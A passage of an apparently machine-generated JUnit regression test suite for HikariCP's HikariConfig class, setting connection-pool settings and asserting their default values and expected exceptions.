hikariConfig49.connectionInitSql = "HikariPool-106";
hikariConfig49.setDataSourceClassName("HikariPool-3188");
java.lang.String str54 = hikariConfig49.getPoolName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNull(str17);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNotNull(properties20);
org.junit.Assert.assertTrue("'" + boolean30 + "' != '" + true + "'", boolean30 == true);
org.junit.Assert.assertTrue("'" + int33 + "' != '" + (-1) + "'", int33 == (-1));
org.junit.Assert.assertNull(str36);
// flaky: org.junit.Assert.assertTrue("'" + long37 + "' != '" + 60L + "'", long37 == 60L);
org.junit.Assert.assertNull(str38);
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertNotNull(properties44);
org.junit.Assert.assertNotNull(properties47);
// flaky: org.junit.Assert.assertEquals("'" + str54 + "' != '" + "HikariPool-51139" + "'", str54, "HikariPool-51139");
}
@Test
public void test19330() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19330");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
java.lang.String str2 = hikariConfig1.getConnectionTestQuery();
long long3 = hikariConfig1.idleTimeout;
int int4 = hikariConfig1.transactionIsolation;
hikariConfig1.transactionIsolation = (byte) 100;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.setDataSource(dataSource7);
long long9 = hikariConfig1.getMaxLifetime();
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.setRegisterMbeans(false);
hikariConfig12.isInitializationFailFast = true;
boolean boolean18 = hikariConfig12.isRegisterMbeans();
javax.sql.DataSource dataSource19 = null;
hikariConfig12.setDataSource(dataSource19);
int int21 = hikariConfig12.maxPoolSize;
long long22 = hikariConfig12.idleTimeout;
hikariConfig12.setInitializationFailFast(true);
java.lang.String str25 = hikariConfig12.connectionInitSql;
boolean boolean26 = hikariConfig12.isJdbc4ConnectionTest();
hikariConfig1.addDataSourceProperty("HikariPool-1328", (java.lang.Object) boolean26);
int int28 = hikariConfig1.maxPoolSize;
org.junit.Assert.assertNull(str2);
// flaky: org.junit.Assert.assertTrue("'" + long3 + "' != '" + 60L + "'", long3 == 60L);
org.junit.Assert.assertTrue("'" + int4 + "' != '" + (-1) + "'", int4 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + false + "'", boolean18 == false);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + 60 + "'", int21 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long22 + "' != '" + 60L + "'", long22 == 60L);
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + boolean26 + "' != '" + true + "'", boolean26 == true);
org.junit.Assert.assertTrue("'" + int28 + "' != '" + 60 + "'", int28 == 60);
}
@Test
public void test19331() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19331");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
hikariConfig0.leakDetectionThreshold = (-1L);
boolean boolean4 = hikariConfig0.isJdbc4ConnectionTest();
int int5 = hikariConfig0.getMinimumPoolSize();
hikariConfig0.isAutoCommit = false;
java.lang.String str8 = hikariConfig0.getCatalog();
hikariConfig0.setTransactionIsolation("HikariPool-344");
java.util.Properties properties11 = hikariConfig0.dataSourceProperties;
hikariConfig0.setConnectionCustomizerClassName("HikariPool-8152");
org.junit.Assert.assertNull(str1);
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertTrue("'" + int5 + "' != '" + 10 + "'", int5 == 10);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertNotNull(properties11);
}
@Test
public void test19332() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19332");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.lang.String str8 = hikariConfig1.getConnectionTestQuery();
hikariConfig1.maxPoolSize = (byte) 0;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
java.lang.String str12 = hikariConfig1.catalog;
hikariConfig1.poolName = "HikariPool-38";
hikariConfig1.setRegisterMbeans(true);
hikariConfig1.setMaxLifetime((long) (short) 1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNull(str12);
}
@Test
public void test19333() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19333");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4connectionTest;
long long5 = hikariConfig1.getIdleTimeout();
hikariConfig1.setUseInstrumentation(false);
hikariConfig1.setJdbc4ConnectionTest(false);
java.util.Properties properties10 = hikariConfig1.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
hikariConfig11.setInitializationFailFast(true);
hikariConfig11.isInitializationFailFast = true;
hikariConfig11.setAcquireRetries(60);
java.lang.String str18 = hikariConfig11.getConnectionTestQuery();
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 60L + "'", long5 == 60L);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertNull(str18);
}
@Test
public void test19334() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19334");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
hikariConfig0.setDataSourceClassName("");
hikariConfig0.validate();
long long4 = hikariConfig0.getLeakDetectionThreshold();
hikariConfig0.setIdleTimeout((long) '4');
java.lang.String str7 = hikariConfig0.connectionCustomizerClassName;
java.util.Properties properties8 = hikariConfig0.dataSourceProperties;
java.lang.String str9 = hikariConfig0.connectionTestQuery;
hikariConfig0.acquireRetries = (byte) 100;
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertNull(str9);
}
@Test
public void test19335() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19335");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
boolean boolean9 = hikariConfig1.isJdbc4connectionTest;
long long10 = hikariConfig1.maxLifetime;
boolean boolean11 = hikariConfig1.isRegisterMbeans;
hikariConfig1.setJdbc4ConnectionTest(true);
java.util.Properties properties14 = hikariConfig1.getDataSourceProperties();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + false + "'", boolean11 == false);
org.junit.Assert.assertNotNull(properties14);
}
@Test
public void test19336() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19336");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.transactionIsolationName = "";
boolean boolean10 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setAcquireRetries((int) 'a');
boolean boolean13 = hikariConfig1.isJdbc4ConnectionTest();
long long14 = hikariConfig1.getIdleTimeout();
hikariConfig1.catalog = "HikariPool-1107";
java.lang.String str17 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setJdbc4ConnectionTest(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertNull(str17);
}
@Test
public void test19337() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19337");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setConnectionInitSql("");
java.lang.String str9 = hikariConfig1.getConnectionCustomizerClassName();
long long10 = hikariConfig1.getIdleTimeout();
hikariConfig1.setConnectionInitSql("");
hikariConfig1.setIdleTimeout(0L);
java.lang.String str15 = hikariConfig1.getConnectionTestQuery();
hikariConfig1.connectionTestQuery = "HikariPool-245";
hikariConfig1.connectionTimeout = (short) 1;
java.lang.String str20 = hikariConfig1.dataSourceClassName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str9);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 60L + "'", long10 == 60L);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertNull(str20);
}
@Test
public void test19338() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19338");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
int int9 = hikariConfig1.maxPoolSize;
java.lang.String str10 = hikariConfig1.connectionInitSql;
int int11 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.minPoolSize = ' ';
java.util.Properties properties14 = hikariConfig1.getDataSourceProperties();
hikariConfig1.isJdbc4connectionTest = false;
int int17 = hikariConfig1.acquireRetries;
hikariConfig1.isJdbc4connectionTest = true;
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 10 + "'", int11 == 10);
org.junit.Assert.assertNotNull(properties14);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 3 + "'", int17 == 3);
}
@Test
public void test19339() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19339");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
java.lang.String str7 = hikariConfig1.getConnectionCustomizerClassName();
java.lang.String str8 = hikariConfig1.transactionIsolationName;
javax.sql.DataSource dataSource9 = hikariConfig1.getDataSource();
boolean boolean10 = hikariConfig1.isRegisterMbeans;
java.lang.String str11 = hikariConfig1.getCatalog();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertNull(dataSource9);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str11);
}
@Test
public void test19340() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19340");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
boolean boolean4 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setInitializationFailFast(true);
long long7 = hikariConfig1.getAcquireRetryDelay();
int int8 = hikariConfig1.getAcquireRetries();
java.lang.String str9 = hikariConfig1.poolName;
java.lang.String str10 = hikariConfig1.transactionIsolationName;
boolean boolean11 = hikariConfig1.isInitializationFailFast();
hikariConfig1.idleTimeout = 3;
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + false + "'", boolean4 == false);
org.junit.Assert.assertTrue("'" + long7 + "' != '" + 0L + "'", long7 == 0L);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 3 + "'", int8 == 3);
// flaky: org.junit.Assert.assertEquals("'" + str9 + "' != '" + "HikariPool-51152" + "'", str9, "HikariPool-51152");
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + true + "'", boolean11 == true);
}
@Test
public void test19341() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19341");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.catalog = "";
hikariConfig1.idleTimeout = 1800000L;
hikariConfig1.poolName = "HikariPool-581";
boolean boolean12 = hikariConfig1.isInitializationFailFast();
int int13 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.minPoolSize = '#';
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 1 + "'", int13 == 1);
}
@Test
public void test19342() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19342");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.acquireRetries = (byte) -1;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.connectionInitSql = "HikariPool-112";
java.util.Properties properties10 = hikariConfig1.getDataSourceProperties();
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
hikariConfig11.isAutoCommit = true;
int int14 = hikariConfig11.getTransactionIsolation();
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
}
@Test
public void test19343() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19343");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.connectionTimeout;
boolean boolean7 = hikariConfig1.isRegisterMbeans();
java.lang.String str8 = hikariConfig1.getCatalog();
java.lang.String str9 = hikariConfig1.catalog;
javax.sql.DataSource dataSource10 = null;
hikariConfig1.dataSource = dataSource10;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 10L + "'", long6 == 10L);
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + false + "'", boolean7 == false);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertNull(str9);
}
@Test
public void test19344() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19344");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
int int1 = hikariConfig0.maxPoolSize;
int int2 = hikariConfig0.transactionIsolation;
hikariConfig0.setConnectionTestQuery("");
boolean boolean5 = hikariConfig0.isAutoCommit();
java.util.Properties properties6 = null;
com.zaxxer.hikari.HikariConfig hikariConfig7 = new com.zaxxer.hikari.HikariConfig(properties6);
hikariConfig7.leakDetectionThreshold = 100;
hikariConfig7.setTransactionIsolation("hi!");
int int12 = hikariConfig7.getMaximumPoolSize();
hikariConfig7.isInitializationFailFast = true;
int int15 = hikariConfig7.maxPoolSize;
java.lang.String str16 = hikariConfig7.connectionInitSql;
java.util.Properties properties17 = hikariConfig7.getDataSourceProperties();
hikariConfig0.dataSourceProperties = properties17;
java.lang.String str19 = hikariConfig0.getPoolName();
boolean boolean20 = hikariConfig0.isRegisterMbeans();
org.junit.Assert.assertTrue("'" + int1 + "' != '" + 60 + "'", int1 == 60);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean5 + "' != '" + true + "'", boolean5 == true);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 60 + "'", int12 == 60);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 60 + "'", int15 == 60);
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertNotNull(properties17);
// flaky: org.junit.Assert.assertEquals("'" + str19 + "' != '" + "HikariPool-51158" + "'", str19, "HikariPool-51158");
org.junit.Assert.assertTrue("'" + boolean20 + "' != '" + false + "'", boolean20 == false);
}
@Test
public void test19345() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19345");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = (byte) 1;
hikariConfig1.dataSourceClassName = "";
boolean boolean13 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setCatalog("HikariPool-35948");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
}
@Test
public void test19346() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19346");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
long long9 = hikariConfig1.getMaxLifetime();
hikariConfig1.catalog = "HikariPool-21";
hikariConfig1.setTransactionIsolation("HikariPool-770");
hikariConfig1.setAutoCommit(false);
hikariConfig1.setIdleTimeout((long) 87);
hikariConfig1.setRegisterMbeans(false);
// The following exception was thrown during execution in test generation
try {
hikariConfig1.validate();
org.junit.Assert.fail("Expected exception of type java.lang.IllegalStateException; message: one of either dataSource or dataSourceClassName must be specified");
} catch (java.lang.IllegalStateException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
}
@Test
public void test19347() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19347");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
boolean boolean8 = hikariConfig1.isJdbc4connectionTest;
int int9 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + true + "'", boolean8 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 0 + "'", int9 == 0);
}
@Test
public void test19348() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19348");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
hikariConfig1.setMaxLifetime((long) 3);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setRegisterMbeans(false);
boolean boolean16 = hikariConfig1.isAutoCommit();
int int17 = hikariConfig1.minPoolSize;
hikariConfig1.setPoolName("HikariPool-10263");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 10 + "'", int17 == 10);
}
@Test
public void test19349() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19349");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
long long10 = hikariConfig1.connectionTimeout;
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.setDataSourceClassName("HikariPool-1629");
hikariConfig1.connectionTestQuery = "";
java.lang.String str17 = hikariConfig1.catalog;
hikariConfig1.catalog = "HikariPool-36133";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 10L + "'", long10 == 10L);
org.junit.Assert.assertNull(str17);
}
@Test
public void test19350() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19350");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
hikariConfig1.setRegisterMbeans(false);
java.lang.String str8 = hikariConfig1.getDataSourceClassName();
hikariConfig1.transactionIsolation = (short) 1;
long long11 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setInitializationFailFast(true);
boolean boolean14 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.connectionCustomizerClassName = "";
hikariConfig1.setDataSourceClassName("HikariPool-6395");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str8);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
}
@Test
public void test19351() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19351");
// The following exception was thrown during execution in test generation
try {
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig("HikariPool-28463");
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: Property file HikariPool-28463 was not found.");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
}
@Test
public void test19352() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19352");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.catalog = "";
boolean boolean8 = hikariConfig1.isRegisterMbeans;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.isJdbc4connectionTest = true;
hikariConfig1.setAcquireRetries(1);
long long14 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.isRegisterMbeans = true;
java.lang.String str17 = hikariConfig1.catalog;
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + false + "'", boolean8 == false);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 100L + "'", long14 == 100L);
org.junit.Assert.assertEquals("'" + str17 + "' != '" + "" + "'", str17, "");
}
@Test
public void test19353() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19353");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
java.lang.String str4 = hikariConfig1.dataSourceClassName;
java.lang.String str5 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.isRegisterMbeans = true;
hikariConfig1.setConnectionTimeout(0L);
hikariConfig1.connectionInitSql = "HikariPool-112";
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str14 = hikariConfig1.getConnectionCustomizerClassName();
long long15 = hikariConfig1.connectionTimeout;
long long16 = hikariConfig1.idleTimeout;
java.util.Properties properties17 = null;
com.zaxxer.hikari.HikariConfig hikariConfig18 = new com.zaxxer.hikari.HikariConfig(properties17);
hikariConfig18.leakDetectionThreshold = 100;
hikariConfig18.minPoolSize = (byte) 1;
hikariConfig18.catalog = "";
boolean boolean25 = hikariConfig18.isRegisterMbeans;
java.lang.String str26 = hikariConfig18.transactionIsolationName;
boolean boolean27 = hikariConfig18.isAutoCommit;
java.lang.String str28 = hikariConfig18.connectionCustomizerClassName;
java.util.Properties properties29 = hikariConfig18.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties29;
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties29);
org.junit.Assert.assertNull(str4);
